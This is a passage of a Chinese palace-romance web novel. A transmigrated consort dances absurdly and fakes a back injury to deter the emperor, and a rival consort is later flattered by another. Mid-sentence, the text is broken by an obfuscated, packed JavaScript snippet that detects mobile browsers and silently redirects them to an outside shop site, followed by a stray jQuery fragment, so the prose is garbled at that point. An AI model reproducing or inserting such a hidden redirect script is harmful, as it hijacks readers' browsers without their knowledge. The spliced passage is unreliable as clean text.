景姝婳嘴角荡开一个好看的弧度,眼睛像狐狸一样狡黠。
“正好,臣妾给陛下跳个不一样的民间舞。”
“陛下,稍等片刻。”
说着,景姝婳退到屏风后面,慕容序能看到景姝婳从袖中掏出几个手串,套在手上,一把将披风解开,随意扔到一旁。
“陛下,臣妾要出来了。”
慕容序端起茶杯,唇角轻轻勾起,压低声音吐出一个字。
“嗯。”
一步,两步,三步······
······
慕容序眼底的兴致瞬间消散,捏着茶杯的手骨节分明,无语地笑出声。
这披风还不如不解。
景姝婳身着一袭绿色广袖留仙裙,腰带是醒目的蓝色,腰间还系了一根红色的绸带,脚踩黄色绣花鞋,手上五六个五颜六色的珐琅手镯,头上是一只翡翠簪子。
慕容序将茶盏放下,面无表情地看着面前没有章法的花蝴蝶,要不是那张脸顶着,还真入不了眼。
“民间舞?”
“嗯,民间驱邪避祸,祈求五谷丰登的舞。”
“你跳吧。”
很快,慕容序便有些懊悔,景姝婳不像是在跳舞,更像是被鬼上身了。
慕容序永远猜不到景姝婳的下一个动作。
当他以为景姝婳要甩袖时,她来了个一字马,当他以为她要下腰时,她撩着红色丝绸跳了起来,当他以为她要往左轻移时,她直接躺了下来。
慕容序深深叹了一口气,既然她有心玩,便让她玩个够。
“陛下,可喜欢臣妾的舞?”
一曲毕,景姝婳娇俏地看着慕容序,眼底是藏不住的欢愉。
她跨入乾清宫大门的时候,掐了大腿好几次,才稳定心神,难怪慕容序能做皇帝,能忍常人不能忍。
慕容序深深看着景姝婳,薄唇轻启。
“嗯,朕很喜欢,顺嫔继续跳吧。”
景姝婳眼眸笑意消散,慕容序果然不是人。
“陛下不累吗?臣妾累了。”
“顺嫔休息半刻钟再跳,朕不累。”
······
好狗的一张嘴。
跳舞的又不是他。
景姝婳险些没忍住翻白眼的冲动,勉强挤出一丝笑。
慕容序的目的是想整死她,旁人都是一个唱红脸,一个唱白脸,慕容序一个人唱完白脸红脸
她就说慕容序不行,她貌似天仙,他居然不为所动,原主一定得了癔症,所以在原主的潜意识里关于慕容序的一切都是好的。
景姝婳吸了一口气,视线看向一旁,她绝对不会认输。
“既如此,臣妾再给陛下跳一曲新舞。”
慕容序轻轻点头,他也想看看景姝婳还有什么鬼主意。
一根火红色的丝绸甩到他面前,带起一丝风,可是丝绸又不曾碰到他的脸,只留下一股凉意。
慕容序抬眸看去,红色的丝绸飘在上方,纷纷扬扬往下掉,景姝婳双手翘起兰花指,身子往右边侧身,左脚微微抬起。
“咔嚓!”
景姝婳倒在地上捂着腰,额上沁出一层细汗。
“陛下,臣妾扭到腰了。”
慕容序眼底不自觉闪过一丝担心,身子有往前的趋势,可又生生忍下,转动手中的扳指。
景姝婳坐着小轿子,被抬回了临华宫。
慕容序起身走到窗前,看着那个身影渐行渐远,脸色沉了下来。
可见是个蠢的,明知自己不是那块料,还学旁人跳舞。
“宁安。”
宁安躬着身子走进来。
“陛下。”
“让陈太医过去瞧瞧。”
“是,奴才这就吩咐下去。”
慕容序转身走了回去,脚上踩到了一点东西。
慕容序拧着眉,弯腰捡起地上那枚小东西,轻轻一捏,发出清脆的声音,慕容序莫名笑出声。
她又在耍心眼。
“宁安。”
宁安再次躬着身子进来,视线落在慕容序的手上。
“陛下。”
“不用唤陈太医了,她好得很。”
“是。”
景姝婳刚回到临华宫,哪里还有方才那副痛苦的模样。
“娘娘,你装的?”
青烟一脸茫然。
“没有,本宫方才的确扭到腰了,可是现在又好了。”
“娘娘,可陛下要是知道,会发怒的。”
“不怕,慕容序不喜欢本宫,本宫这般正合他意。”
青烟和青凝对视,眼底更加疑惑了,陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268550|151719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下每隔一日便来临华宫,这还不是喜欢?
“不必担心,本宫不会放弃的。”
景姝婳做了两手准备,总有一个能对付过去,一是丑到上不得台面的装扮,二则是她在丝绸上绑了两个小玩意,一踩便会响起来,就跟骨头咯咯响的声音差不多。
她给慕容序留了证据,他这会应该已经发现了。
景姝婳穿过来一个多月,对慕容序也算有了一点小小的了解。
对付慕容序这种狗男人,便不能太顺着,越顺着他,他便会越觉无趣,他根本都不会多看一眼,但若
是松一点紧一点,一勾起他的好奇心,他还能多看两眼。
皇帝,总喜欢征服一些有挑战性的东西,以彰显自己的能力。
一想到辛苦大半个月,替景姝婳做了嫁衣,白知瑶气得整整一宿都没睡着。
更气人的是,昨天的事情传了出去。
今天早上去凤仪宫请安的时候,那些幸灾乐祸的视线不要钱一样朝着她看来,白知瑶恨不能挖个洞钻进去。
“知瑶姐姐。”
白知瑶顺着声音看过去,秀眉拧起。
“你也要过来嘲笑我?”
祝碧芙抬步跨过门槛,摇了摇头。
“姐姐进宫四个月,已经得到陛下不少恩宠,我连陛下的面都没见过,怎配取笑姐姐。”
白知瑶闻言,心情才稍稍好了些,看向祝碧芙的目光也柔和了不少。
“姐姐,依妹妹愚见,陛下其实心里已经动心了,只是旁边站着顺嫔娘娘,陛下不好表现太过。”
白知瑶仔细回想昨日下午的事情,她假装没发现陛下之前,的确有一道炙热带着欣赏的目光落在她身上。
一定是陛下。
“这从何说起?”
“若是陛下心中无姐姐,根本就看不到跳舞的姐姐。”
白知瑶一想,倒也是,陛下对不在意的人或事情,从来不会给任何的眼神。
但是昨晚陛下分明夸她了。
“小主,陛下身边的司公公来了,带了不少赏赐。”
白知瑶适时抬眸,看来真如祝答应所说。
祝碧芙拉着白知瑶起身,笑得一脸真诚。
“妹妹先恭喜姐姐。”
白知瑶忸怩拉着祝碧芙的手,眼底是藏不住的喜悦。